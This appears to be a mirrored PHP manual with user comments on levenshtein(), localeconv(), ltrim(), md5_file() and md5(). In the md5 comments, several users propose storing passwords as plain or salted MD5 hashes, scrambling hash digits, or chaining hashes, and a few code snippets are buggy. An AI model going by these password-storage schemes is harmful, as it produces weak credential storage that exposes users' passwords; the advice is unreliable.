   // Firstly order an array based on levenshtein
   $levenshtein_ordered = array();
   foreach ( $suggestions as $suggestion )
   {
       $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion);
   }
   asort($levenshtein_ordered, SORT_NUMERIC );

   print "<b>Suggestions as ordered by levenshtein...</b><ul><pre>";
   print_r($levenshtein_ordered);
   print "</pre></ul>";

   // Secondly order an array based on btlfsa
   $btlfsa_ordered = array();
   foreach ( $suggestions as $suggestion )
   {
       $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion);
   }
   asort($btlfsa_ordered, SORT_NUMERIC );

   print "<b>Suggestions as ordered by btlfsa...</b><ul><pre>";
   print_r($btlfsa_ordered);
   print "</pre></ul>";

?>
mcreuzer at r-world dot com
08-Mar-2005 01:01
I am using the Levenshtein distance to SORT my search results.

I have a search page for peoples names. I do a SOUNDEX() search on the name in mysql. MySQL SOUNDEX() will perform the "fuzzy" search for me.

I then calculate the Levenshtein distance between the search term and the actual name found by the SOUNDEX() search. This will give me a score on how close my results are to the search string.

I can the sort my results for display listing the closest results first.

<?php
// PHP CODE INCLUDING DB LOOKUPS HERE
   usort($searchresults, "finallevenshteinsortfunction");

function finallevenshteinsortfunction($a, $b)
{
   if(($a['levenshtein'] > $b['levenshtein']) || ( $a['levenshtein'] == $b['levenshtein'] && strnatcasecmp( $a['Last_Name'], $b['Last_Name']) >= 1) ){ return $a['levenshtein'];} // Ok... The levenstein is greater OR with the same levenshtein, the last name is alphanumerically first
   elseif($a['levenshtein'] == $b['levenshtein']){ return '0';} // The levenstein matches
   elseif($a['levenshtein'] < $b['levenshtein']){ return -$a['levenshtein'];}
   else{die("<!-- a horrable death -->");}
}
?>
brett at webfroot dot co dot nz
17-Nov-2004 02:58
More information on Levenshtein distances on Wikipedia:
http://en.wikipedia.org/wiki/Levenshtein_distance
elonen at iki dot fi
05-Nov-2004 05:58
If you need to *search* for approximate matches in a large text mass (sort of like a fuzzy version of strpos), try this:
http://iki.fi/elonen/code/misc-notes/appr-search-php/
silas at silaspalmer dot com
28-Feb-2004 06:52
Some code for a basic fuzzy search.

<?php

$needle = "Youser Nein stitched tymes hand";
$haystack = "
   Did you know that a stitch in time can save nine. Isn't that amazing! I think so
   The user-supplied function has to return the loser, from the sand. Describe the cost for this particular operation.
   Eweser may decide to use only some of the supplied nans. And pay attention. This isn't hard...
   ";

// explode into words
$hwords = preg_split("/[\s\W]+/", $haystack);
$nwords = preg_split("/[\s\W]+/", $needle);

echo "You searched for $needle<br>";
echo "I found...<br>";

foreach ($hwords as $hkey => $hayword) {
   $hmp = metaphone ($hayword);

   foreach ($nwords as $nkey => $needword) {

   // First or last letters of needle and haystack have to match (case insensitive)
   $nfirst = strtolower(substr($needword, 0, 1));
   $nlast = strtolower(substr($needword, -1));
   $hfirst = strtolower(substr($hayword, 0, 1));
   $hlast = strtolower(substr($hayword, -1));

   if (($hfirst == $nfirst) or ($hlast == $nlast)) {

       $nmp = metaphone ($needword);
       $distance = levenshtein ($hmp, $nmp);
       // $distance = levenshtein ($hayword, $needword);
       $n_len = strlen($nmp);
       $per = round(($distance/$n_len)*1000);

       if ($per < 335) {
               // Highlight word in haystack
               $haystack = str_replace($hayword, "<b>$hayword</b>", $haystack);
               $haystack = str_replace("<b><b>", "<b>", $haystack);
               $haystack = str_replace("</b></b>", "</b>", $haystack);

               }
           }
       }
   }

// echo the new haystack
echo $haystack;

// Returns ...
//
// You searched for Youser Nein stitched tymes hand
// I found...
// Did you know that a <b>stitch</b> in <b>time</b> can
// save <b>nine</b>. Isn't that amazing! I think so. The
// <b>user</b>-supplied function has to return the
// <b>loser</b>, from the sand. Describe the cost for this
// particular operation. Eweser may decide to use only some
// of the supplied nans. <b>And</b> pay attention. This
// isn't <b>hard</b>...

?>
gzink at zinkconsulting dot com
03-Dec-2003 07:03
Try combining this with metaphone() for a truly amazing fuzzy search function. Play with it a bit, the results can be plain scary (users thinking the computer is almost telepathic) when implemented properly. I wish spell checkers worked as well as the code I've written.

I would release my complete code if reasonable, but it's not, due to copyright issues. I just hope that somebody can learn from this little tip!
genialbrainmachine at dot IHATESPAM dot tiscali dot it
27-Oct-2003 03:55
I wrote this function to have an "intelligent" comparison between data to be written in a DB
and already existent data. Not ony calculating distances but also balancing distances for
each field.
<?php
/*
This function calculate a balanced percentage distance between an array of strings
"$record" and a compared array "$compared", balanced through an array of
weights "$weight". The three arrays must have the same indices.
For an unbalanced distance, set all weights to 1.
The used formula is:
percentage distance = sum(field_levenshtein_distance * field_weight) / sum(record_field_length * field_weight) * 100
*/
function search_similar($record, $weights, $compared, $precision=2) {
         $field_names = array_keys($record);
         # "Weighted length" of $record and "weighted distance".
         foreach ($field_names as $field_key) {
                 $record_weight += strlen($record[$field_key]) * $weights[$field_key];
                 $weighted_distance += levenshtein($record[$field_key],$compared[$field_key]) * $weights[$field_key];
                 }
         # Building the result..
         if ($record_weight) {
             return round(($weighted_distance / $record_weight * 100),$precision);
           } elseif ((strlen(implode("",$record)) == 0) && (strlen(implode("",$compared)) == 0)) { // empty records
           return round(0,$precision);
           } elseif (array_sum($weights) == 0) { // all weights == 0
           return round(0,$precision);
           } else {
           return false;
           }
         /*
         Be very careful distinguising 0 result and false result.
         The function results 0 ('0.00' if $precision is 2 and so on) if:
         - $record and $compared are equals (even if $record and $compared are empty);
         - all weights are 0 (the meaning could be "no care about any field").
         Conversely, the function results false if $record is empty, but the weights
         are not all 0 and $compared is not empty. That cause a "division by 0" error.
         I wrote this kind of check:

         if ($rel_dist = search_similar(...)) {
             print $rel_dist;
           } elseif ($rel_dist == "0.00") { // supposing that $precision is 2
           print $rel_dist;
           } else {
           print "infinite";
           }

         */
         }
?>
jlsalinas at gmx dot net
26-Oct-2003 10:28
Regarding the post by fgilles on April 26th 2001, I suggest not to use levenshtein() function to test for over-uppercasing unless you've got plenty of time to waste in your host. ;) Anyhow, I think it's a useful feature, as I get really annoyed when reading whole messages in uppercase.

PHP's levenshtein() function can only handle up to 255 characters, which is not realistic for user input (only the first paragraph oh this post has 285 characters). If you choose to use a custom function able to handle more than 255 characters, efficiency is an important issue.

I use this function, specific for this case, but much faster:

function ucase_percent ($str) {
   $str2 = strtolower ($str);

   $l = strlen ($str);
   $ucase = 0;

   for ($i = 0; $i < $l; $i++) {
       if ($str{$i} != $str2{$i}) {
           $ucase++;
       }
   }

   return $ucase / $l * 100.0;
}

I think 10% is enough for written English (maybe other languages like German, which use more capital letters, need more). With some sentencies in uppercase (everybody has the right to shout occasionally), 20% would be enough; so I use a threshold of 30%. When exceeded, I lowercase the whole message.

Hope you find it useful and it helps keeping the web free of ill-mannered people.
"inerte" is my hotmail.com username
12-Jul-2003 01:22
I am using this function to avoid duplicate information on my client's database.

After retrieving a series of rows and assigning the results to an array values, I loop it with foreach comparing its levenshtein() with the user supplied string.

It helps to avoid people re-registering "John Smith", "Jon Smith" or "Jon Smit".

Of course, I can't block the operation if the user really wants to, but a suggestion is displayed along the lines of: "There's a similar client with this name.", followed by the list of the similar strings.
asseg at ukl dot uni-feiburg dot de
09-May-2003 09:05
for the unserious guys how might do dna sequence analysis
with php. Here's the function that can handle long strings.
to get an output of the matrix uncomment the
printf-section. handle with care iteration are approximately
2x2^strlen ;)

------------------------------------------------------------
function levdis($s,$t){
   $n=strlen($s);
   $m=strlen($t);
   $matrix=array(range(0,$n+1),range(0,$m+1));
   $ret=0;
   if ($n==0){
       return $m;
   }
   elseif ($m==0){
       return $n;
   }
   for ($i=0;$i<=$n;$i++) {
       $matrix[$i][0]=$i;
   }
   for  ($j=0;$j<=$m;$j++) {
       $matrix[0][$j]=$j;
   }
   for ($i=1;$i<=$n;$i++) {
       for  ($j=1;$j<=$m;$j++) {
           if ($s[$i-1]==$t[$j-1]) {
               $cost=0;
           }else{
               $cost=1;
           }
           $matrix[$i][$j]=min($matrix[$i-1][$j]+1,
                                       $matrix[$i][$j-1]+1,
                                       $matrix[$i-1][$j-1]+$cost);

       }
   }
/* for ($j=0;$j<=$m;$j++) {
       for ($i=0;$i<=$n;$i++) {
           printf("  %02d",$matrix[$i][$j]);
       }
       echo "\n";
   }*/
   return $matrix[$n][$m];
}
                                                                                ----------------------------------------------
bisqwit at iki dot fi
12-Aug-2002 10:43
At the time of this manual note the user defined thing
in levenshtein() is not implemented yet. I wanted something
like that, so I wrote my own function. Note that this
doesn't return levenshtein() difference, but instead
an array of operations to transform a string to another.

Please note that the difference finding part (resync)
may be extremely slow on long strings.

<?php

/* matchlen(): returns the length of matching
 * substrings at beginning of $a and $b
 */
function matchlen(&$a, &$b)
{
  $c=0;
  $alen = strlen($a);
  $blen = strlen($b);
  $d = min($alen, $blen);
  while($a[$c] == $b[$c] && $c < $d)
   $c++;
  return $c;
}

/* Returns a table describing
 * the differences of $a and $b */
function calcdiffer($a, $b)
{
  $alen = strlen($a);
  $blen = strlen($b);
  $aptr = 0;
  $bptr = 0;

  $ops = array();

  while($aptr < $alen && $bptr < $blen)
  {
   $matchlen = matchlen(substr($a, $aptr), substr($b, $bptr));
   if($matchlen)
   {
     $ops[] = array('=', substr($a, $aptr, $matchlen));
     $aptr += $matchlen;
     $bptr += $matchlen;
     continue;
   }
   /* Difference found */

   $bestlen=0;
   $bestpos=array(0,0);
   for($atmp = $aptr; $atmp < $alen; $atmp++)
   {
     for($btmp = $bptr; $btmp < $blen; $btmp++)
     {
       $matchlen = matchlen(substr($a, $atmp), substr($b, $btmp));
       if($matchlen>$bestlen)
       {
         $bestlen=$matchlen;
         $bestpos=array($atmp,$btmp);
       }
       if($matchlen >= $blen-$btmp)break;
     }
   }
   if(!$bestlen)break;

   $adifflen = $bestpos[0] - $aptr;
   $bdifflen = $bestpos[1] - $bptr;

   if($adifflen)
   {
     $ops[] = array('-', substr($a, $aptr, $adifflen));
     $aptr += $adifflen;
   }
   if($bdifflen)
   {
     $ops[] = array('+', substr($b, $bptr, $bdifflen));
     $bptr += $bdifflen;
   }
   $ops[] = array('=', substr($a, $aptr, $bestlen));
   $aptr += $bestlen;
   $bptr += $bestlen;
  }
  if($aptr < $alen)
  {
   /* b has too much stuff */
   $ops[] = array('-', substr($a, $aptr));
  }
  if($bptr < $blen)
  {
   /* a has too little stuff */
   $ops[] = array('+', substr($b, $bptr));
  }
  return $ops;
}

Example:

$tab = calcdiffer('Tm on jonkinlainen testi',
                 'Tm ei ole minknlainen testi.');
$ops = array('='=>'Ok', '-'=>'Remove', '+'=>'Add');
foreach($tab as $k)
  echo $ops[$k[0]], " '", $k[1], "'\n";

Example output:

Ok 'Tm '
Remove 'on jonki'
Add 'ei ole mink'
Ok 'nlainen testi'
Add '.'
toxic_acid at softhome dot net
07-Jul-2002 04:48
More info can about Levenshtein Distance can be found here:
http://www.merriampark.com/ld.htm
12-Apr-2002 09:57
For spell checking applications, delay could be tolerable if you assume the typist got the first two or three chars of each word right.  Then you'd only need to calc distances for a small segment of the dictionary.  This is a compromise but one I think a lot of spell checkers make.
For an example of site search using this function look at the PHP manual search button on this page.  It appears to be doing this for the PHP function list.
fgilles at free dot fr
27-Apr-2001 04:32
exemple of use for a forum: users can't post messages too much uppercased

if ((strlen($subject)>10) and ( ( levenshtein ($subject, strtolower ($subject) / strlen ($subject) ) > .3 ) ){
$subject = strtolower($subject);
}
hholzgra at php dot net
11-Aug-2000 04:20
well, think of it as a sort of typo counter

by the way we might introduce a feature similar to something that the jikes compiler for java does using this function:

every time you try to access an undefined funtion you will get a suggestion of a function that's named
similar to what you requested

e.g.:

Undefined function 'rest()'!
Where you looking for 'reset()' instead?
dschultz at protonic dot com
11-Aug-2000 12:01
It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords.
Mathijs Brands &lt;mathijs at ilse dot nl&gt;
06-Aug-2000 08:54
This could come in handy if you were to implement a simple searchengine in PHP. It would allow for simple fuzzy searching.
ad1n at dc dot uba dot ar
05-Aug-2000 08:01
One application of this is when you want to look for a similar match instead of an exact one. You can sort the results of checking the distances of a word to a dictionary and sort them to see which were the more similar ones. Of course it will be a quite resourse consuming task anyway.
add a note add a note

后退 | 起点 | 前进
join | 上一级 | localeconv


localeconv

(PHP 4 >= 4.0.5, PHP 5)

localeconv -- Get numeric formatting information

Description

array localeconv ( void )

Returns an associative array containing localized numeric and monetary formatting information.

localeconv() returns data based upon the current locale as set by setlocale(). The associative array that is returned contains the following fields:

Array element | Description
decimal_point | Decimal point character
thousands_sep | Thousands separator
grouping | Array containing numeric groupings
int_curr_symbol | International currency symbol (i.e. USD)
currency_symbol | Local currency symbol (i.e. $)
mon_decimal_point | Monetary decimal point character
mon_thousands_sep | Monetary thousands separator
mon_grouping | Array containing monetary groupings
positive_sign | Sign for positive values
negative_sign | Sign for negative values
int_frac_digits | International fractional digits
frac_digits | Local fractional digits
p_cs_precedes | TRUE if currency_symbol precedes a positive value, FALSE if it succeeds one
p_sep_by_space | TRUE if a space separates currency_symbol from a positive value, FALSE otherwise
n_cs_precedes | TRUE if currency_symbol precedes a negative value, FALSE if it succeeds one
n_sep_by_space | TRUE if a space separates currency_symbol from a negative value, FALSE otherwise
p_sign_posn

0 - Parentheses surround the quantity and currency_symbol
1 - The sign string precedes the quantity and currency_symbol
2 - The sign string succeeds the quantity and currency_symbol
3 - The sign string immediately precedes the currency_symbol
4 - The sign string immediately succeeds the currency_symbol

n_sign_posn

0 - Parentheses surround the quantity and currency_symbol
1 - The sign string precedes the quantity and currency_symbol
2 - The sign string succeeds the quantity and currency_symbol
3 - The sign string immediately precedes the currency_symbol
4 - The sign string immediately succeeds the currency_symbol

The n_sign_posn, and n_sign_posn contain a string of formatting options. Each number representing one of the above listed conditions.

The grouping fields contain arrays that define the way numbers should be grouped. For example, the monetary grouping field for the nl_NL locale (in UTF-8 mode with the euro sign), would contain a 2 item array with the values 3 and 3. The higher the index in the array, the farther left the grouping is. If an array element is equal to CHAR_MAX, no further grouping is done. If an array element is equal to 0, the previous element should be used.

例子 1. localeconv() example

<?php
if (false !== setlocale(LC_ALL, 'nl_NL.UTF-8@euro')) {
    $locale_info = localeconv();
    print_r($locale_info);
}
?>

上例将输出：

Array
(
    [decimal_point] => .
    [thousands_sep] =>
    [int_curr_symbol] => EUR
    [currency_symbol] =>
    [mon_decimal_point] => ,
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 1
    [p_sep_by_space] => 1
    [n_cs_precedes] => 1
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 2
    [grouping] => Array
        (
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

)

See also setlocale().

add a note add a note User Contributed Notes
verdy_p at wanadoo dot fr
23-Jul-2001 10:13
The C99 standard modified slightly the definition of the international currency symbol, which is now 4 characters long instead of 3 in previous definitions. The fourth character will most often be an ASCII space, but its effective value is the locale-specific spacing character used for numeric grouping (i.e. the one refered by [sep_by_space] and [grouping])...
add a note add a note

后退 | 起点 | 前进
levenshtein | 上一级 | ltrim


ltrim

(PHP 3, PHP 4, PHP 5)

ltrim -- Strip whitespace (or other characters) from the beginning of a string

Description

string ltrim ( string str [, string charlist] )

注: The second parameter was added in PHP 4.1.0

This function returns a string with whitespace stripped from the beginning of str. Without the second parameter, ltrim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.

  • "\t" (ASCII 9 (0x09)), a tab.

  • "\n" (ASCII 10 (0x0A)), a new line (line feed).

  • "\r" (ASCII 13 (0x0D)), a carriage return.

  • "\0" (ASCII 0 (0x00)), the NUL-byte.

  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

You can also specify the characters you want to strip, by means of the charlist parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

例子 1. Usage example of ltrim()

<?php

$text = "\t\tThese are a few words :) ...  ";
$trimmed = ltrim($text);
// $trimmed = "These are a few words :) ...  "
$trimmed = ltrim($text, " \t.");
// $trimmed = "These are a few words :) ...  "
$clean = ltrim($binary, "\x00..\x1F");
// trim the ASCII control characters at the beginning of $binary
// (from 0 to 31 inclusive)

?>

See also trim() and rtrim().

add a note add a note User Contributed Notes
Draugluin IZZAT bigfoot DIZZOT com
20-Jul-2003 01:15
A fast way to get a file extension:

$ext = ltrim(strrchr($filename,'.'),'.');
add a note add a note

后退 | 起点 | 前进
localeconv | 上一级 | md5_file


md5_file

(PHP 4 >= 4.2.0, PHP 5)

md5_file -- Calculates the md5 hash of a given file

说明

string md5_file ( string filename [, bool raw_output] )

Calculates the MD5 hash of the file specified by the filename parameter using the RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash. The hash is a 32-character hexadecimal number.

参数

filename

The filename

raw_output

When TRUE, returns the digest in raw binary format with a length of 16. Defaults to FALSE.

返回值

Returns a string on success, FALSE otherwise.

更新日志

版本 | 说明
5.0.0 | Added the raw_output parameter
5.1.0 | Changed the function to use the streams API. It means that you can use it with wrappers, like md5_file('http://example.com/..')

参见

md5()
sha1_file()
crc32()

add a note add a note User Contributed Notes
bubba at revbubba dot com
29-Mar-2005 08:56
a working example of the usage of this function, to confirm a specific file has not been modified (replace all instances of "myfile.xxx" with your filename):

<?php
$chkfilename = "myfile.xxx";
$chkmd5return = md5_file($chkfilename);
if ($chkmd5return != "myfile.xxx's md5 value") {
     echo "You have replaced myfile.xxx with an unknown version of the file, please replace the original file.";
} else {
     (your code to be executed, now that it has confirmed your myfile.xxx has been unmodified)
}
?>

To find out the file's md5 value, create a new .php doc, and put this code in it:

<?php
$chkfilename = "myfile.xxx";
$chkmd5return = md5_file($chkfilename);
echo $chkmd5return;
?>

Then upload the new .php doc to your webserver and navigate to it.  Be sure to delete the new .php doc once you have plugged in the value it spits out, into the "myfile.xxx's md5 value" in the first example above.

I just thought this example might be helpful to someone somewhere...  if you php.net people feel it needs editing or deletion, I leave it to your discretion.  ;)
richard at interlink dot com dot au
16-Nov-2004 04:57
For those of you with PHP 4 that want to output the "raw" 128 bit hash, all you need to do is send it to pack to convert the hex string into the raw output.

ie:
$filename="checkthisfile.bin";
$rawhash=pack("H*",md5_file($filename));
add a note add a note

后退 | 起点 | 前进
ltrim | 上一级 | md5


md5

(PHP 3, PHP 4, PHP 5)

md5 -- Calculate the md5 hash of a string

Description

string md5 ( string str [, bool raw_output] )

Calculates the MD5 hash of str using the RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash. The hash is a 32-character hexadecimal number. If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16.

注: The optional raw_output parameter was added in PHP 5.0.0 and defaults to FALSE

例子 1. A md5() example

<?php
$str = 'apple';

if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
    echo "Would you like a green or red apple?";
    exit;
}
?>

See also crc32(), md5_file(), and sha1().

add a note add a note User Contributed Notes
endeveit at pisem dot net
09-Jun-2006 01:28
Some peoples (e.g. who keep password in MySQL) worry about memory occupied by string with 32 symbols.
I don't understand them, however i wrote function which returns integer representation of encrypted md5's string.
8 bytes of integer less than 32*8 bytes of varchar ;)
<?php
/**
 * This function encrypt string $pwd with MD5,
 * reverse given hash and return an integer
 * representation of it.
 *
 * @param string $pwd
 * @return int
 */
function encryptPwdToInt($pwd)
{
   $enc  = strrev(md5($pwd));
   $enc  = preg_replace("/([^[:digit:]])/i", '', $enc);
   return (int) sprintf('%u', round((substr($enc, 0, 9)/round(substr($enc, 10, 2)))*2));
}
var_dump(encryptPwdToInt('some_pwd_string')); //returns "int(401309)"
?>
coryostrudel at godcomplex dot com
17-May-2006 08:45
If you are storing your passwords with and MD5 hash and are worried about collisions, an approach I have used was to store two passwords for the user.

credentials
----------
userName
password
passwordChk

Where:
$input - users input password
$key - a site based key stored out of public folders

password = MD5($key.strrev($input))
passwordChk = MD5($input{0}.substr($input,(floor(strlen($input))/2),strlen))

This will stored the users password in the database as an MD5 hash of the string reversed plus a site based key stored out of public folders.

It also stores a check value to check that the input is the true input and not a colliding value.  The check takes the first character appends a substring of the input taking the last half of the input string and creates and MD5.

I think this is pretty secure.  It takes a modified salt & pepper approach, and follows up with a check on the original input to make sure it is not a colliding value, while also not storing the original password in plain text.
marzetti dot marco at NOSPAM dot gmail dot com
16-May-2006 06:12
The complement of raw2hex

<?php

function hex2raw( $str ){
  $chunks = str_split($str, 2);
  for( $i = 0; $i < sizeof($chunks); $i++ ) {
       $op .= chr( hexdec( $chunks[$i] ) );
   }
   return $op;
}

?>
mina86 at projektcode dot org
25-Jan-2006 04:01
Re: Andrew Nelless

I believe that HMAC was designed for some reason. I believe the reason was that <?php hmac_md5($salt, $password); ?> is more secure then <?php md5($salt . $password); ?>

Re: nathan at nathanbolender dot com

The 'Salt & Pepper Encrypter' is no more secure then standard sha1() function. It only adds some random chars to the hash but does nothing with the password's hash. In particular, its enought to remove 32 or 40 characters (depending on the length of the whole hash - 74 or 82 characters acordingly) from the hash starting with the character at position stored at the end of hash (last two digits). We get a 42-char long string which first 40 characters are SHA-1 of the password.
rick.gaither
21-Dec-2005 01:14
This is a nifty function to help in securing your web-forms.

If no argument is passed the function will return an encrypted hex code representing the second it was called. If the same hex code is passed to the function it will return the number of seconds that have elapsed. The php script can then check the time between accessing the web-page and submitting the POST. This thwarts script ran web-form submissions. The program can verify a suitable period has elapsed for expected manual entries. The time check can be from 1 second to about 17 hours.

The function requires the latest PEAR Blowfish Encryption module.

This would go in the form:
<?php  print "<input type='hidden' value='" . FormTimer() . "' name='FormCode'>";  ?>

This would go in the main php (post) script:
<?php
$seconds = FormTimer($_POST['FormCode']);
if (($seconds < 10) || ($seconds > 1900)) { die "Your entry time took less than 10 seconds or more than 30 minutes"; }
?>

Function...
<?php
function FormTimer($CodeID="") {

   require ('Blowfish.php');
   require ('Blowfish/DefaultKey.php');

   $key = "Secret^Word";
   $bf = new Crypt_Blowfish($key);
     $current = substr(sprintf("%d", (time()+1)),-8);

   if (!$CodeID) { return bin2hex($bf->encrypt($current)); }

   $len = strlen($CodeID); $cValue = -1;
   for ($i=0;$i<$len;$i+=2) $Crypt.=chr(hexdec(substr($CodeID,$i,2)));

   if ($Crypt) {
       $time_called = $bf->decrypt($Crypt);
       if ($time_called) { $cValue = (intval($current) - intval($time_called)); }
   }
   return $cValue;
}
?>
Andrew Nelless ( anelless _ gmail _com )
18-Dec-2005 02:04
"mina86 at tlen dot pl"'s (19-Sept-05) HMAC-MD5 implementation is correct but his example usage provides little practical advantage over the simple concatenation and hash approach to salting.

$hash = md5($salt . $password);

On the other hand, a good use for a MAC (with a server side private key) would be to store one in the users cookie in order to verify that cookie's (or parts of them) you issue haven't been changed manually (or for that matter, by any other website (maybe via a XSS browser exploit?), MITM attack or evil proxy).

Such a trick allows you to put mildly critical data about a user, that you don't want changed by anyone but you, in their cookie rather than in your database. This could have advantages (openness, not needing to store user email addresses at the server side once they have been verified by email, even do away with the need to store data about a poster in a server side database altogether but still being able to allow these almost anonymous posters to come along and edit their submissions with confidence) and be rather entertaining (users trying to crack their cookie code to elevate their stats and/or permissions).

This is like issueing a passport. The traveller can see all of it,  get it stamped (~customise parts of it) but can also invalidate it and have it revoked. It can also save on expensive and time consuming nationality/immigration checks (~using the database) at the airport (~the server side).
Jon Watte
03-Dec-2005 12:11
Scrambling the md5 adds no security, because it only adds obscurity. md5 is a reasonably strong hash function, although it's recently been shown to be weaker than previously thought. If hashing your password with md5 isn't good enough for you, then you should use a stronger hash like Tiger instead -- not apply amateurish obfuscation that only serves to give you a false sense of security.

I don't know of an implementation of Tiger for PHP, but the algorithm is pretty simple (and secure) so you could probably write it in plain PHP code.
karig at karig dot net
30-Nov-2005 10:38
Scramble your hashes.

If you are worried about whether these hash functions are "good enough" for security and are tempted to combine hash functions to try to increase security, but you know that combining hashes might be counterproductive, then why not use md5() to get your hash string, then use a custom scramble function to rearrange the digits in that hash string?

Use this scramble function whenever a user is logging in: Encrypt the password with md5(), then with your scramble function, and compare the result with the pre-encrypted password stored on your server for that user.

Here is an example (you might decide to scramble the digits in a different order):

<?php
function scramble($p) {
   // Assumes that $p is going to be 32 characters long

   $q = $p{13} . $p{30} . $p{5} . $p{17} . $p{23} . $p{0}
       . $p{28} . $p{4} . $p{18} . $p{25} . $p{6} . $p{20}
       . $p{14} . $p{9} . $p{31} . $p{11} . $p{24} . $p{29}
       . $p{10} . $p{3} . $p{15} . $p{26} . $p{8} . $p{12}
       . $p{21} . $p{27} . $p{1} . $p{16} . $p{22} . $p{7}
       . $p{19} . $p{2};
   return $q;
}

$p = $_POST['password'];
// If the password is blank or too short, do something here.

$p = scramble(md5($p));
// Now set $s = scrambled password stored on server.
// If $p == $s then we have a match.
?>

You could even make the scramble function more elaborate by repeating certain arbitrary characters an arbitrary number of times, e.g., having scramble() insert $p(19) into $q three or four times, thus producing a string longer than 32 characters.
nathan at nathanbolender dot com
17-Oct-2005 03:31
If you're a security freak you might want to take a look at the 2 functions I have posted at http://code.nathanbolender.com/PHP/salt_pepper/ . It uses a hardcoded "key" and hashes it one of 2 ways, so you are always left with a random 'hash' to store in your database. The other function will check the hash against the original string to make sure that it is correct. If you want to see an example of the debug output you can at http://code.nathanbolender.com/PHP/salt/ . Note that on that page the "key" is random only to demonstrate the possibility for so much variations.

I know that a simple md5() would normally be enough, but I came up with this and I wanted to share it.
mina86 at tlen dot pl
20-Sep-2005 04:41
It seems that the best solution would be to use HMAC-MD5. An implementation of HMAC-SHA1 was posted by mark on 30-Jan-2004 02:28 as a user comment to sha1() function (-> http://php.net/manual/function.sha1.php#39492). Here's how it would look like (some other optimizations/modifications are included as well):

<?php
// Calculate HMAC according to RFC2104
// http://www.ietf.org/rfc/rfc2104.txt
function hmac($key, $data, $hash = 'md5', $blocksize = 64) {
  if (strlen($key)>$blocksize) {
   $key = pack('H*', $hash($key));
  }
  $key  = str_pad($key, $blocksize, chr(0));
  $ipad = str_repeat(chr(0x36), $blocksize);
  $opad = str_repeat(chr(0x5c), $blocksize);
  return $hash(($key^$opad) . pack('H*', $hash(($key^$ipad) . $data)));
}

// Remember to initialize MT (using mt_srand() ) if required
function pw_encode($password) {
  $seed = substr('00' . dechex(mt_rand()), -3) .
   substr('00' . dechex(mt_rand()), -3) .
   substr('0' . dechex(mt_rand()), -2);
  return hmac($seed, $password, 'md5', 64) . $seed;
}

function pw_check($password, $stored_value) {
  $seed = substr($stored_value, 32, 8);
  return hmac($seed, $password, 'md5', 64) . $seed==$stored_value;
}

// Test
$password = 'foobar';
$encoded  = pw_encode($password);
$result  = pw_check ($password, $encoded) ? 'true' : 'false';
echo<<<END
password: $password
encoded : $encoded
rsult  : $result

END;
?>
eric at opelousas dot org
01-Aug-2005 05:57
Setting raw_output to TRUE has the same effect using pack('H*', md5($string)) in php 4

pack( 'H*' , md5( $string) ) ) == md5($string, TRUE)
Helpful Harry
01-Jul-2005 02:29
check out these functions to fake a sha1 entry using md5.  Very, very secure if attackers get your password file...
also, it encrypts differently for the same string, every time

function pw_encode($password)
{
   for ($i = 1; $i <= 8; $i++)
   $seed .= substr('0123456789abcdef', rand(0,15), 1);
   return md5($seed.$password).$seed;
}
function pw_check($password,$stored_value)
{
   $stored_seed = substr($stored_value,32,8);
   if (md5($stored_seed.$password).$stored_seed == $stored_value)
     return TRUE;
   else
     return FALSE;
}
tommiboy
04-May-2005 03:32
Regarding those many posts about MD5 and this-or-that hash function being "broken" or insecure because it has collisions, please note the following:
1. Every hash function has collisions, that is what hash functions are made for. MD5, as an example, turns N bits of input into 128 bits of output. Obviously, whenever N > 128 bits, then there MUST be collisions. This does not mean the function is broken, it means that the function does EXACTLY what you want it to do - it makes a secret unrecoverable.
The important thing about "secure" hash functions is that it is hard to calculate an input that will produce a certain output (e.g. the same output as another user's password). It is impossible to reconstruct a password from a hash if the password has more than 128 bits since several passwords necessarily map to the same hash. No matter which supercomputers you use, you have a set of equations with several unknowns. It is possible to find SOME password that produces a valid hash, though.
For every reasonable scenario, however, MD5 will do just fine. If you are concerned, store the password length as well.
2. Chaining the hash function means 128 bits of input producing 128 bits of output, this does not make sense, really. In fact, you greatly increase the likelihood of finding SOME password that produces the same double-hash.
3. Chaining MD5 with SHA makes little sense, too, as you feed 128 bits into a function that returns 256 bits. So the information that you keep around is 50% redundant. Security is in no way enhanced.
4. You can add "salt", i.e. a constant or variable string (for example calculated from the user id) that is concatenated to the input of the hash function, but that does not really make things a lot better. It does make a dictionary attack against a stolen password database harder, if nothing else.
5. Concerns about this-or-that hash being not good enough are rather silly since there are a lot of other ways which are by several orders of magnitude cheaper and easier to break into your system. It is not likely that any sane person will attempt to find collisions of a hash function to break into one single account. Users are only too happy to give out their password to "the administator who must verify that their password is correct".
6. What happens if two users accidentially choose passwords that have a hash collision? First, this will probably never happen, and second, if it does happen, then there is not much harm. Two users can have the same password and none of them will ever notice.
terry _at_ scribendi_com
29-Apr-2005 10:39
Do not use the hex strings returned by md5() as a key for MCrypt 256-bit encryption.  Hex characters only represent four bits each, so when you take 32 hex characters, you are only really using a 128-bit key, not a 256-bit one.

Using an alphanumeric key generator [A-Za-z0-9] will also only provide a 192-bit key in 32 characters.

Two different MD5s concatenated in raw binary form, or mcrypt_create_iv(32,MCRYPT_DEV_RANDOM) will give you a true 256-bit key string.
gigabyte0 at NOSPAM dot gmail dot com
07-Mar-2005 03:22
I would think that this would create a slightly mode secure hash by using this:

<?php
function hash($text){
$hashtext = "string";
return md5($text.$hashtext)
}
?>

If you can keep the $hashtext secure.
Anonymous
20-Feb-2005 08:06
In response to the person who suggested concatenation of hashes, I believe that the hashing of a hash would be a better option.

$str = "secret";
$doublehash = sha1(md5($str));
ian at ianalbert dot com
17-Feb-2005 04:41
